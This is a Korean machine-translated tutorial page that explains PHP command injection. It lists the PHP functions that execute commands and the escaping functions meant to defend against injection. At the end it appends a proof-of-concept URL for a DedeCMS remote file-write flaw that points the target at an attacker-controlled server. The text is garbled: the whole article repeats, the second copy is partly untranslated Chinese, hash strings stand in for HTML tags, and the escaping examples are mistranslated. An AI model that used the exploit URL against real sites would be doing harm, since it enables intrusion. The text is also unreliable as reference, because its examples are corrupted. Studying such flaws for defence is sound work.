>  기사  >  백엔드 개발  >  PHP 명령 주입은 원격 쓰기 파일 링크 예제 공유를 확인합니다.

PHP 명령 주입은 원격 쓰기 파일 링크 예제 공유를 확인합니다.

小云云
小云云원래의
2018-03-12 11:59:082459검색

PHP 명령 주입 공격 취약점은 PHP 애플리케이션의 일반적인 스크립트 취약점 중 하나입니다. 국내 유명 웹 애플리케이션인 Discuz!, DedeCMS 등에는 모두 이러한 유형의 취약점이 있습니다.

커맨드 인젝션, 즉 커맨드 인젝션 공격은 웹 애플리케이션이 사용자가 제출한 데이터를 엄격하게 필터링하지 않기 때문에 해커가 특수한 명령을 구성하여 웹 애플리케이션에 데이터를 제출할 수 있다는 것을 의미합니다. 문자열, 외부 프로그램이나 시스템 명령을 실행하여 공격을 수행하거나 데이터나 네트워크 자원을 불법적으로 획득하는 등의 방법을 사용합니다.
 PHP 명령 주입 공격이 존재하는 주된 이유는 웹 애플리케이션 프로그래머가 PHP 언어의 명령 실행 기능과 함께 일부 기능을 사용할 때 사용자가 제출한 데이터 콘텐츠를 엄격한 필터링 없이 함수에 가져와서 실행하기 때문입니다. 예를 들어, 해커가 제출한 데이터 콘텐츠가 웹사이트 디렉터리에 PHP 파일을 작성하는 것이라면 해당 명령을 사용하여 PHP 백도어 파일에 공격 취약점을 주입한 후 추가 침투 공격을 수행할 수 있습니다.
 PHP 명령 주입 공격 취약점으로 인한 피해와 영향은 매우 심각합니다. 다음과 같은 방법을 통해 명령어 주입 공격 취약점의 존재를 방지할 수 있습니다:
 1. 외부 애플리케이션이나 명령어를 실행하지 마세요.
 2. 사용자 정의 함수나 함수 라이브러리를 사용하여 외부 애플리케이션이나 명령의 기능을 구현합니다.
 3. system, eval 등의 명령을 실행하는 함수를 실행하기 전에 매개변수 내용을 결정합니다.
 4. 관련 매개변수를 처리하려면 escapeshellarg 함수를 사용하세요. escapeshellarg 함수는 매개변수나 명령의 끝을 초래하는 모든 문자를 이스케이프합니다. 예를 들어 작은따옴표 "'"는 "'"로 이스케이프되고, 큰따옴표 """는 """로 이스케이프되며, 세미콜론은 이스케이프됩니다. ";"는 ";"으로 이스케이프되므로 escapeshellarg는 매개변수 내용을 작은따옴표나 큰따옴표 쌍으로 제한하고 매개변수에 포함된 작은따옴표나 큰따옴표를 이스케이프하여 현재 실행이 잘릴 수 없도록 합니다. 예방 명령 주입 공격의 목적.
 5. 실행 파일 경로를 실행하려면 safe_mode_exec_dir을 사용하세요. php.ini 파일의 safe_mode를 On으로 설정한 다음 실행 파일을 디렉터리에 넣고 safe_mode_exec_dir을 사용하여 실행 파일 경로를 지정합니다. 이런 방식으로 해당 외부 프로그램을 실행해야 하는 경우 해당 프로그램은 실행이 허용되기 전에 safe_mode_exec_dir에 지정된 디렉터리에 있어야 합니다. 그렇지 않으면 실행이 실패합니다.
 PHP 명령 주입 공격 취약점은 PHP 애플리케이션의 일반적인 취약점 중 하나입니다. Discuz!, Dedecms 등 국내 유명 PHP 애플리케이션이 인터넷상에서 커맨드 인젝션 공격 취약점을 갖고 있는 것으로 보고되고 있다. 말타기와 피싱으로 인한 영향과 피해는 엄청납니다. 동시에 PHP 언어는 현재 웹 애플리케이션 개발의 많은 부분에 사용되고 있습니다. 웹 애플리케이션 프로그래머는 명령 주입 공격 취약점의 위험성을 이해하고 프로그램에서 해커가 악용할 수 있는 취약점을 패치하며 보안을 보호해야 합니다. 네트워크 사용자 트로이 목마, 피싱 등 악성 코드의 공격

명령 실행 기능 활용

PHP에서 외부 프로그램이나 기능을 실행할 수 있는 명령 실행 기능에는 다음과 같은 5가지 기능이 있습니다.

2.1 시스템 함수

를 사용하여 외부 응용 프로그램을 실행하고 해당 실행 결과를 출력할 수 있습니다. 함수 프로토타입은 다음과 같습니다. string system(string command, int &return_var) 여기서 command는 수행할 명령입니다. return_var은 명령 실행 후 상태 값을 저장합니다. PHP 프로그래머의 생각에 따르면 명령 실행 기능의 주요 기능은 명령 실행 기능을 통해 웹 응용 프로그램과 상호 작용하고 웹 응용 프로그램을 통해 외부 프로그램이나 시스템 명령을 실행하는 것입니다. 시스템 기능을 통해 사용자 및 기타 정보를 얻은 후 다음 코드를 구성하여 IP 주소를 얻을 수 있습니다. 다음 코드에서는 $action이라는 변수가 정의되어 있으며 그 값은 얻은 cmd 값인 system($action))입니다. 여기서 $action은 system의 매개변수, 즉 실행할 명령입니다. PHP를 디버깅할 때 var_dump 또는 print_r을 사용하여 데이터나 배열을 인쇄하면 HTML 페이지에 줄바꿈이 표시되지 않고 자동으로 형식을 지정하기 위해 출력 전에 e03b848252eb9375d56be284e690e873를 추가하는 것이 어렵습니다. 표시를 위한 줄 바꿈.
브라우저 주소창에 "http://localhost/test.php?cmd=ipconfig"를 입력하세요. cmd의 값이 ipconfig에 할당되면 시스템 기능이 IP 주소 정보를 출력합니다. =

2.2 exec 기능

외부 응용 프로그램을 실행하는 데 사용할 수 있습니다. 함수 프로토타입은 다음과 같습니다.

string exec ( string $command [, array &$output [, int &$return_var ]] ),

여기서 command는 실행할 명령이고, 출력은 실행된 명령의 각 출력 라인에 대한 문자열이며, return_var는 명령 실행 후 상태 값을 저장합니다.

2.3 passthru 함수

는 시스템 명령을 실행하고 원래 출력을 표시하는 데 사용할 수 있습니다. 시스템 명령의 출력이 이진 데이터이고 값을 브라우저에 직접 반환해야 하는 경우 passthru는 시스템 및 실행 기능을 교체해야 합니다. Passthru 함수 프로토타입은 다음과 같습니다.

void passthru (string command, int &return_var),


여기서 command는 실행할 명령이고 return_var는 명령 실행 후 상태 값을 저장합니다. 다음 PHP 코드를 구성하여 테스트할 수 있습니다.

2.4 shell_exec 함수

쉘 명령을 실행하고 출력 문자열을 반환합니다. 함수 프로토타입은 다음과 같습니다.

string shell_exec (string command),

command
는 실행할 명령입니다.

2.5 "Backticks

는 shell_exec와 동일한 기능을 가지며, 쉘 명령을 실행하고 출력 문자열을 반환합니다.

2.6 Popen 함수

popen() 함수는 프로세스 파일 포인터를 엽니다. 즉, 포크에 의해 지정된 명령을 실행하여 생성된 프로세스를 가리키는 파이프를 엽니다. 단방향(읽기 또는 쓰기에만 사용할 수 있음)이고 pclose로 닫아야 한다는 점을 제외하고는 파일 포인터를 반환합니다. (). 그러면 false를 반환합니다. 함수 프로토타입은 다음과 같습니다: popen(string $command, string $mode), 여기서 command는 실행할 명령을 지정하고, mode는 연결 모드를 지정하며, r은 읽기 전용입니다.

2.7 proc_open 함수

는 명령을 실행하고 입출력을 위한 파일 포인터를 여는 데 사용됩니다. 이는 popen() 함수와 비슷하지만 proc_open()이 더 강력한 기능을 제공합니다. 프로그램 실행을 제어하는 ​​기능은 다음과 같습니다:
리소스 proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

2.8pcntl_exec 함수

pcntl_exec 함수는 현재 프로세스에서 지정된 프로그램을 실행합니다. 오류가 발생하면 FALSE를 반환하고, 오류가 없으면 반환하지 않습니다. 함수 프로토타입은 다음과 같습니다. void pcntl_exec( string $ path [, array $args [, array $envs ]] ) 여기서 path는 실행 가능한 바이너리 파일이어야 합니다. path 또는 파일의 첫 번째 줄에 실행 가능한 경로 헤더를 지정하는 스크립트는 인수의 문자열 배열입니다. 프로그램에 전달되는 envs는 환경 변수로 프로그램에 전달되는 문자열 배열입니다. 배열은 key => value 형식이며, key는 전달되는 환경 변수의 이름을 나타내고 value는 해당 값을 나타냅니다.

방어 기능

사용자가 입력한 데이터를 함수 매개변수로 사용할 경우 escapeshellarg() 또는 escapeshellcmd() 함수를 사용하여 사용자가 입력한 데이터를 필터링할 수 있습니다.

3.1 escapeshellcmd() 함수

는 문자열의 특수 기호를 제거하고 명령의 모든 문자를 이스케이프하여 작업을 완료합니다. # & ;``,| * ? ~ < ^ ( ) [ ] { } $ \. 함수 프로토타입은 다음과 같습니다: string escapeshellcmd(string command). 이 기능은 사용자가 악의적으로 서버 시스템을 크랙하는 것을 방지하기 위해 문자열에서 특수 기호를 제거합니다.

3.3 escapeshellarg 함수

이 함수는 문자열을 쉘 명령에 사용할 수 있는 매개변수로 변환합니다. escapeshellarg()는 문자열에 작은따옴표를 추가하고 기존 작은따옴표를 인용하거나 이스케이프할 수 있으므로 문자열이 쉘 함수에 직접 전달될 수 있으면서도 여전히 안전합니다. 이 기능은 사용자가 입력한 일부 매개변수에 사용해야 합니다. PHP 보안에서 arg에 있는 일부 특수 문자를 필터링하는 데 사용할 수 있습니다. 입력 매개변수에 중국어 문자가 포함되어 있고 escapeshellarg로 전달되면 필터링됩니다. 함수 프로토타입은 다음과 같습니다: string escapeshellarg (string $arg), 여기서 arg는 이스케이프해야 하는 매개변수입니다.

첨부: dedecms 원격 파일 쓰기 취약점 링크(본 기사의 지식 포인트와 관련 없음)
https://www.seebug.org/vuldb/ssvid-89354
poc:
http://target IP/ install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://자신이 제어하는 ​​http server/

PHP 명령 주입 공격 취약점은 PHP 애플리케이션의 일반적인 스크립트 취약점 중 하나입니다. 국내 유명 웹 애플리케이션인 Discuz!, DedeCMS 등이 모두 이러한 취약점을 갖고 있었습니다.
 명령 주입, 즉 명령 주입 공격은 웹 애플리케이션이 사용자가 제출한 데이터를 엄격하게 필터링하지 않기 때문에 해커가 특수한 명령 문자열을 구성하여 웹 애플리케이션에 데이터를 제출하고 이를 사용할 수 있다는 것을 의미합니다. 이러한 방법은 외부 프로그램이나 시스템 명령을 실행하여 공격을 수행하여 데이터나 네트워크 자원을 불법적으로 획득하는 행위입니다.
 PHP 명령 주입 공격이 존재하는 주된 이유는 웹 애플리케이션 프로그래머가 PHP 언어의 명령 실행 기능과 함께 일부 기능을 사용할 때 사용자가 제출한 데이터 콘텐츠를 엄격한 필터링 없이 함수에 가져와서 실행하기 때문입니다. 예를 들어, 해커가 제출한 데이터 콘텐츠가 웹사이트 디렉터리에 PHP 파일을 작성하는 것이라면 해당 명령을 사용하여 PHP 백도어 파일에 공격 취약점을 주입한 후 추가 침투 공격을 수행할 수 있습니다.
 PHP 명령 주입 공격 취약점으로 인한 피해와 영향은 매우 심각합니다. 다음과 같은 방법을 통해 명령어 주입 공격 취약점의 존재를 방지할 수 있습니다:
 1. 외부 애플리케이션이나 명령어를 실행하지 마세요.
 2. 사용자 정의 함수나 함수 라이브러리를 사용하여 외부 애플리케이션이나 명령의 기능을 구현합니다.
 3. system, eval 등의 명령을 실행하는 함수를 실행하기 전에 매개변수 내용을 결정합니다.
 4. 관련 매개변수를 처리하려면 escapeshellarg 함수를 사용하세요. escapeshellarg 함수는 매개변수나 명령의 끝을 초래하는 모든 문자를 이스케이프합니다. 예를 들어 작은따옴표 "'"는 "'"로 이스케이프되고, 큰따옴표 """는 """로 이스케이프되며, 세미콜론은 이스케이프됩니다. ";"는 ";"으로 이스케이프되므로 escapeshellarg는 매개변수 내용을 작은따옴표나 큰따옴표 쌍으로 제한하고 매개변수에 포함된 작은따옴표나 큰따옴표를 이스케이프하여 현재 실행이 잘릴 수 없도록 합니다. 예방 명령 주입 공격의 목적.
 5. 실행 파일 경로를 실행하려면 safe_mode_exec_dir을 사용하세요. php.ini 파일의 safe_mode를 On으로 설정한 다음 실행 파일을 디렉터리에 넣고 safe_mode_exec_dir을 사용하여 실행 파일 경로를 지정합니다. 이런 방식으로 해당 외부 프로그램을 실행해야 하는 경우 해당 프로그램은 실행이 허용되기 전에 safe_mode_exec_dir에 지정된 디렉터리에 있어야 합니다. 그렇지 않으면 실행이 실패합니다.
 PHP 명령 주입 공격 취약점은 PHP 애플리케이션의 일반적인 취약점 중 하나입니다. Discuz!, Dedecms 등 국내 유명 PHP 애플리케이션이 인터넷상에서 커맨드 인젝션 공격 취약점을 갖고 있는 것으로 보고되고 있다. 말타기와 피싱으로 인한 영향과 피해는 엄청납니다. 동시에 PHP 언어는 현재 웹 애플리케이션 개발의 많은 부분에 사용되고 있습니다. 웹 애플리케이션 프로그래머는 명령 주입 공격 취약점의 위험성을 이해하고 프로그램에서 해커가 악용할 수 있는 취약점을 패치하며 보안을 보호해야 합니다. 네트워크 사용자 트로이 목마, 피싱 등 악성 코드의 공격

명령 실행 기능 활용

PHP에서 외부 프로그램이나 기능을 실행할 수 있는 명령 실행 기능에는 다음과 같은 5가지 기능이 있습니다.

2.1  system函数

可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加 e03b848252eb9375d56be284e690e873,便可以自动格式化换行显示。
在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=

2.2      exec函数

可以用来执行一个外部的应用程序,函数原型如下:

string exec ( string $command [, array &$output [, int &$return_var ]] ),


其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

2.3  passthru函数

可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int &return_var),


其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。

2.4  shell_exec函数

执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。

2.5  ”反引号

与shell_exec功能相同,执行shell命令并返回输出的字符串。

2.6  Popen函数

popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。

2.7  proc_open函数

用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )


2.8pcntl_exec函数

pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

防御函数

当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。

3.1  escapeshellcmd()函数

除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ 6d267e5fab17ea8bc578f9e7e5e1570b ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。

3.3  escapeshellarg函数

该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:

string escapeshellarg ( string $arg )

,其中arg为需要被转码的参数。

위 내용은 PHP 명령 주입은 원격 쓰기 파일 링크 예제 공유를 확인합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.